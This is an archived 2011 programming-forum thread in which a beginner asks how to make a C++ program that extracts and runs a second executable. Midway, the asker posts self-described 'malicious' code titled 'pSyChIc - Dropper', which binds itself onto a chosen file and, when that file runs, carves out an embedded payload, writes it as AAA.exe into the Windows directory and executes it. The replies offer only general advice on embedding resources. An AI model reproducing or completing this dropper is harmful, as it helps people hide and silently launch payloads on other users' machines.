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-   -   Output Exe File - Extract it from another Exe (http://www.go4expert.com/forums/output-exe-file-extract-exe-t25658/)

Scripting 28Apr2011 10:53

Output Exe File - Extract it from another Exe
 
Hello guys, I want to ask you for a little help.
I wand to find out how to make such a executable file (in C++), that if it is run, it will extract another executable Exe e.g to directory C:\\my_extracted_file.exe. And that my_extracted_file.exe should display some MessageBox, if it's run.


I hope, that someone will help me, I read alots of internet articles about this, but I failed...
Please don't post me some references, I can't understand it somehow. I would be very delighted if you show me some example code (C++).

shabbir 28Apr2011 11:03

Re: Output Exe File - Extract it from another Exe
 
I don't have the program in hand but can shed you the concept on how to get this done.

Create the exe file you want to be extracted.

Now Add that exe file as a resource to the other project and in some handler extract the resource as an executable file.

Scripting 28Apr2011 15:57

Re: Output Exe File - Extract it from another Exe
 
Quote:

Originally Posted by shabbir (Post 82454)
I don't have the program in hand but can shed you the concept on how to get this done.

Create the exe file you want to be extracted.

Now Add that exe file as a resource to the other project and in some handler extract the resource as an executable file.

But how to add resource to other project? (Dev-C++). And how to extract resource :(
I know that it seems like i'm just stupid beginner, but I have done a good deal of work in C++,
but just can't get this, what you just explained me. But nevertheless thank you for reply...

shabbir 28Apr2011 16:18

Re: Output Exe File - Extract it from another Exe
 
I am not an expert in Dev-C++ but in MFC you can add the resource.

Scripting 28Apr2011 16:36

Re: Output Exe File - Extract it from another Exe
 
Ok, so I found some "malicious" code, It creates some exe in windir, but that exe is empty, so if you can, please suggest me how to write to that file MessageBox function.

Here's the code:
Code:

#include <iostream.h>
#include <fstream.h>
#include <windows.h>
#include <string.h>
int write(int mysize,char *tpath,char *mybuf)
{
    int tsize = 0;
    ifstream tfile(tpath,ios::binary);
    tfile.seekg (0,ios::end);
    tsize = tfile.tellg();
    tfile.seekg (0,ios::beg);
    char tbuf[tsize];   
    tfile.read(tbuf,tsize);   
    tfile.close();   
    ofstream outputfile(tpath,ios::binary);   
    outputfile.write(mybuf,mysize);   
    outputfile.write(tbuf,tsize);   
    outputfile.close();   
    cout<<tpath<<endl;
};   
 
void extract(int mysize,char *target)
{   
      char windir[250];
      GetWindowsDirectory(windir,MAX_PATH);   
      ifstream tfile(target,ios::binary);   
      tfile.seekg (427646);   
      int theamount = mysize - 427646;   
      char tbuf[theamount];   
      tfile.read(tbuf,theamount);   
      tfile.close();   
      char mypath[100];   
      strcpy (mypath,windir);   
      strcat (mypath,"\\AAA.exe");   
      ofstream outfile(mypath,ios::binary);   
      outfile.write(tbuf,theamount);   
      outfile.close();   
      cout<<mypath;   
      system(mypath); }; 
       
int checkit(int mysize,char *mybuf,char *target)
{   
      int checker = 0;   
      char tpath[512];     
      if (mysize != 427646)   
      {   
            extract(mysize,target);
      }       
      else   
      {   
            cout<<"pSyChIc - Dropper"<<endl;
            cout<<"Input file path"<<endl;
            cin>>tpath;
            write (mysize,tpath,mybuf);
      }           
};     

int main(int argc, char *argv[])
{
    long mysize;
    char *target;
    target= argv[0];
    ifstream myfile(argv[0],ios::binary);
    myfile.seekg (0,ios::end);
    mysize = myfile.tellg();
    myfile.seekg (0,ios::beg);
    char mybuf[mysize];
    myfile.read(mybuf,mysize);
    myfile.close();   
    checkit (mysize,mybuf,target);
}

Do not care about some Check func or any other parts :D

I think this will be easier and more compatible than ur previous idea, but that was good too, only problem is that i don't know how to work with MFC ..., so please help me with this .

Scripting 28Apr2011 20:15

Re: Output Exe File - Extract it from another Exe
 
I don't quite understand that code, but I just need to add there that MessageBox function, that's all. Thank for all replies !

shabbir 28Apr2011 20:27

Re: Output Exe File - Extract it from another Exe
 
Try AfxMessageBox

Scripting 28Apr2011 20:37

Re: Output Exe File - Extract it from another Exe
 
As I told you previously, I can't use any Afx or similiar VC++ things, I use Dev-C++, so please suggest me some solution for the code i posted previously.

Scripting 30Apr2011 17:36

Re: Output Exe File - Extract it from another Exe
 
Damn, no one can solve this problem ...

Scripting 3May2011 17:58

Re: Output Exe File - Extract it from another Exe
 
go4noob, there is none expert, who could solve this problem ...


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